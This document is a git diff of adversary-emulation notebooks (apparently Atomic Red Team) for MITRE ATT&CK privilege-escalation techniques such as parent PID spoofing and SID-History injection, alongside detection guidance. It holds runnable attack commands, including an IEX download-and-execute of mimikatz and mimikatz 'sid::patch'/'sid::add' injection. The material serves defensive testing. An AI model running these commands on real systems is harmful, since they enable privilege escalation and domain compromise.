{ "cell_type": "markdown", - "id": "ed4a53bf", + "id": "fee19552", "metadata": {}, "source": "### Atomic Test #3 - Parent PID Spoofing - Spawn from Specified Process\nSpawns a notepad.exe process as a child of the current process.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "d2ae3f2c", + "id": "18076469", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 3 -GetPreReqs" }, { "cell_type": "markdown", - "id": "eaba202b", + "id": "5df69255", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -114,28 +114,28 @@ { "cell_type": "code", "execution_count": null, - "id": "2ebe4398", + "id": "fb0bc6b2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "739d6a21", + "id": "ff6e93cb", "metadata": {}, "source": "### Atomic Test #4 - Parent PID Spoofing - Spawn from svchost.exe\nSpawnd a process as a child of the first accessible svchost.exe process.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "ce99a19d", + "id": "0f9f36e1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "587a9377", + "id": "c2af09f7", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -145,28 +145,28 @@ { "cell_type": "code", "execution_count": null, - "id": "5c20c795", + "id": "eab06e5f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "341dbaeb", + "id": "69cb86ab", "metadata": {}, "source": "### Atomic Test #5 - Parent PID Spoofing - Spawn from New Process\nCreates a notepad.exe process and then spawns a powershell.exe process as a child of it.\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The AtomicTestHarnesses module must be installed and Start-ATHProcessUnderSpecificParent must be exported in the module.\n##### Check Prereq Commands:\n```powershell\n$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable\nif (-not $RequiredModule) {exit 1}\nif (-not $RequiredModule.ExportedCommands['Start-ATHProcessUnderSpecificParent']) {exit 1} else {exit 0}\n```\n##### Get Prereq Commands:\n```powershell\nInstall-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "39df935a", + "id": "f22d7adc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 5 -GetPreReqs" }, { "cell_type": "markdown", - "id": "00bef690", + "id": "67893c0b", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -176,14 +176,14 @@ { "cell_type": "code", "execution_count": null, - "id": "772dcdd9", + "id": "f53ffcbe", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.004 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "f24b7f47", + "id": "837d7530", "metadata": {}, "source": "## Detection\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\n\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible." } @@ -191,13 +191,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1134.005.ipynb b/playbook/tactics/privilege-escalation/T1134.005.ipynb index d0f84788..67e6e015 100644 --- a/playbook/tactics/privilege-escalation/T1134.005.ipynb +++ b/playbook/tactics/privilege-escalation/T1134.005.ipynb @@ -2,64 +2,64 @@ "cells": [ { "cell_type": "markdown", - "id": "e6d66ea2", + "id": "5c78d1e0", "metadata": {}, "source": "# T1134.005 - SID-History Injection\nAdversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006)." }, { "cell_type": "markdown", - "id": "29872dde", + "id": "419ab92a", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "a180cb65", + "id": "0c05e4d3", "metadata": {}, - "source": "### Atomic Test #1 - Injection SID-History with mimikatz\nAdversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```cmd\n$mimikatz_path = cmd /c echo $env:TEMP\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo $env:TEMP\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" + "source": "### Atomic Test #1 - Injection SID-History with mimikatz\nAdversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n\n##### Check Prereq Commands:\n```cmd\n$mimikatz_path = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\n[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo PathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "97e1e719", + "id": "f4611a48", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.005 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "22ec8b7c", + "id": "7088c947", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\n$env:TEMP\\mimikatz\\x64\\mimikatz.exe \"privilege::debug\" \"sid::patch\" \"sid::add /sid:S-1-5-21-1004336348-1177238915-682003330-1134 /sam:$env:username\" \"exit\"\n```" + "```command_prompt\nPathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe \"privilege::debug\" \"sid::patch\" \"sid::add /sid:S-1-5-21-1004336348-1177238915-682003330-1134 /sam:$env:username\" \"exit\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "4c2986a0", + "id": "d5418848", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.005 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "0bca4c2d", + "id": "4d1a78e6", "metadata": {}, - "source": "#### Cleanup: \n```cmd\n$env:TEMP\\mimikatz\\x64\\mimikatz.exe \"sid::clear /sam:$env:username\" \"exit\"\n```" + "source": "#### Cleanup: \n```cmd\nPathToAtomicsFolder\\..\\ExternalPayloads\\mimikatz\\x64\\mimikatz.exe \"sid::clear /sam:$env:username\" \"exit\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "b21e8fdc", + "id": "9b0f3226", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1134.005 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "ea88bc0b", + "id": "77049c7e", "metadata": {}, "source": "## Detection\nExamine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)" } @@ -67,13 +67,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1134.ipynb b/playbook/tactics/privilege-escalation/T1134.ipynb index 01ce8b3c..44f9a707 100644 --- a/playbook/tactics/privilege-escalation/T1134.ipynb +++ b/playbook/tactics/privilege-escalation/T1134.ipynb @@ -2,25 +2,25 @@ "cells": [ { "cell_type": "markdown", - "id": "016e1f48", + "id": "b1e6cacd", "metadata": {}, "source": "# T1134 - Access Token Manipulation\nAdversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens." }, { "cell_type": "markdown", - "id": "b0d84386", + "id": "f165abef", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "2f71c05f", + "id": "eab3fa58", "metadata": {}, "source": "## Detection\nIf an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process." }, { "cell_type": "markdown", - "id": "94ac8737", + "id": "854e2390", "metadata": {}, "source": "\n## Shield Active Defense\n### Software Manipulation \n Make changes to a system's software properties and functions to achieve a desired effect. \n\n Software Manipulation allows a defender to alter or replace elements of the operating system, file system, or any other software installed and executed on a system.\n#### Opportunity\nThere is an opportunity for the defender to observe the adversary and control what they can see, what effects they can have, and/or what data they can access.\n#### Use Case\nA defender could feed or redirect requests for credentials with false data that can be used to direct an adversary into a decoy network or system.\n#### Procedures\nHook the Win32 Sleep() function so that it always performs a Sleep(1) instead of the intended duration. This can increase the speed at which dynamic analysis can be performed when a normal malicious file sleeps for long periods before attempting additional capabilities.\nHook the Win32 NetUserChangePassword() and modify it such that the new password is different from the one provided. The data passed into the function is encrypted along with the modified new password, then logged so a defender can get alerted about the change as well as decrypt the new password for use.\nAlter the output of an adversary's profiling commands to make newly-built systems look like the operating system was installed months earlier.\nAlter the output of adversary recon commands to not show important assets, such as a file server containing sensitive data.\n" } @@ -28,13 +28,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/privilege-escalation/T1138.ipynb b/playbook/tactics/privilege-escalation/T1138.ipynb deleted file mode 100644 index aa79d7b4..00000000 --- a/playbook/tactics/privilege-escalation/T1138.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "9812807a", - "metadata": {}, - "source": "# T1138 - Application Shimming\nThe Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc." - }, - { - "cell_type": "markdown", - "id": "c304aec7", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "f2e02e32", - "metadata": {}, - "source": "## Detection\nThere are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):\n\n* Shim-Process-Scanner - checks memory of every running process for any Shim flags\n* Shim-Detector-Lite - detects installation of custom shim databases\n* Shim-Guard - monitors registry for any shim installations\n* ShimScanner - forensic tool to find active shims in memory\n* ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)\n\nMonitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1150.ipynb b/playbook/tactics/privilege-escalation/T1150.ipynb deleted file mode 100644 index a7fcbc7a..00000000 --- a/playbook/tactics/privilege-escalation/T1150.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "bf9eaab7", - "metadata": {}, - "source": "# T1150 - Plist Modification\nProperty list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)" - }, - { - "cell_type": "markdown", - "id": "65ce98e1", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "af439d46", - "metadata": {}, - "source": "## Detection\nFile system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1157.ipynb b/playbook/tactics/privilege-escalation/T1157.ipynb deleted file mode 100644 index c0440ba1..00000000 --- a/playbook/tactics/privilege-escalation/T1157.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "5b7084be", - "metadata": {}, - "source": "# T1157 - Dylib Hijacking\nmacOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique." - }, - { - "cell_type": "markdown", - "id": "e2efd1eb", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "fdafbe02", - "metadata": {}, - "source": "## Detection\nObjective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1160.ipynb b/playbook/tactics/privilege-escalation/T1160.ipynb deleted file mode 100644 index 46b36fbd..00000000 --- a/playbook/tactics/privilege-escalation/T1160.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "8e0740bf", - "metadata": {}, - "source": "# T1160 - Launch Daemon\nPer Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation." - }, - { - "cell_type": "markdown", - "id": "4250a886", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "bf634ae0", - "metadata": {}, - "source": "## Detection\nMonitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1165.ipynb b/playbook/tactics/privilege-escalation/T1165.ipynb deleted file mode 100644 index 7d69c7f3..00000000 --- a/playbook/tactics/privilege-escalation/T1165.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "9330cdfc", - "metadata": {}, - "source": "# T1165 - Startup Items\nPer Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well." - }, - { - "cell_type": "markdown", - "id": "6de1e41d", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "a93c2226", - "metadata": {}, - "source": "## Detection\nThe /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1166.ipynb b/playbook/tactics/privilege-escalation/T1166.ipynb deleted file mode 100644 index f52689f9..00000000 --- a/playbook/tactics/privilege-escalation/T1166.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "4234d12a", - "metadata": {}, - "source": "# T1166 - Setuid and Setgid\nWhen the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware)." - }, - { - "cell_type": "markdown", - "id": "3d4b66ff", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "fc95ed21", - "metadata": {}, - "source": "## Detection\nMonitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1169.ipynb b/playbook/tactics/privilege-escalation/T1169.ipynb deleted file mode 100644 index bdef692c..00000000 --- a/playbook/tactics/privilege-escalation/T1169.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "26abc556", - "metadata": {}, - "source": "# T1169 - Sudo\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). \n\nAdversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though." - }, - { - "cell_type": "markdown", - "id": "a5dde204", - "metadata": {}, - "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." - }, - { - "cell_type": "markdown", - "id": "5df0571a", - "metadata": {}, - "source": "## Detection\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo)." - } - ], - "metadata": { - "kernelspec": { - "display_name": ".NET (PowerShell)", - "language": "PowerShell", - "name": ".net-powershell" - }, - "language_info": { - "file_extension": ".ps1", - "mimetype": "text/x-powershell", - "name": "PowerShell", - "pygments_lexer": "powershell", - "version": "7.0" - } - }, - "nbformat": 4, - "nbformat_minor": 5 -} \ No newline at end of file diff --git a/playbook/tactics/privilege-escalation/T1178.ipynb b/playbook/tactics/privilege-escalation/T1178.ipynb deleted file mode 100644 index 5419cd3e..00000000 --- a/playbook/tactics/privilege-escalation/T1178.ipynb +++ /dev/null @@ -1,38 +0,0 @@ -{ - "cells": [ - { - "cell_type": "markdown", - "id": "a743c279", - "metadata": {}, - "source": "# T1178 - SID-History Injection\nThe Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft 